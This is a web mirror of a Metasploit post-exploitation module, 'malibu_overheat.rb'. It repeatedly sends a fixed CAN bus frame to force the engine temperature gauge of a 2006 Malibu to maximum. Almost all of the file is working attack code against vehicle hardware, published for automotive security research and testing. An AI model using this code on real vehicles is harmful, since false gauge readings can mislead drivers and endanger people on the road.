Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/hardware/automotive/malibu_overheat.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
def initialize(info = {})
9
super(
10
update_info(
11
info,
12
'Name' => 'Sample Module to Flood Temp Gauge on 2006 Malibu',
13
'Description' => %q{Simple sample temp flood for the 2006 Malibu.},
14
'License' => MSF_LICENSE,
15
'Author' => ['Craig Smith'],
16
'Platform' => ['hardware'],
17
'SessionTypes' => ['hwbridge'],
18
'Notes' => {
19
'Stability' => [SERVICE_RESOURCE_LOSS],
20
'SideEffects' => [SCREEN_EFFECTS],
21
'Reliability' => []
22
}
23
)
24
)
25
register_options([
26
OptInt.new('PACKET_COUNT', [false, 'How many packets to send before stopping', 200]),
27
OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])
28
])
29
end
30
31
def run
32
unless client.automotive
33
print_error('The hwbridge requires a functional automotive extention')
34
return
35
end
36
print_status('Forcing Engine Temp to max...')
37
(0..datastore['PACKET_COUNT']).each do |_cnt|
38
client.automotive.cansend(datastore['CANBUS'], '510', '10AD013CF048120B')
39
end
40
end
41
end
42
43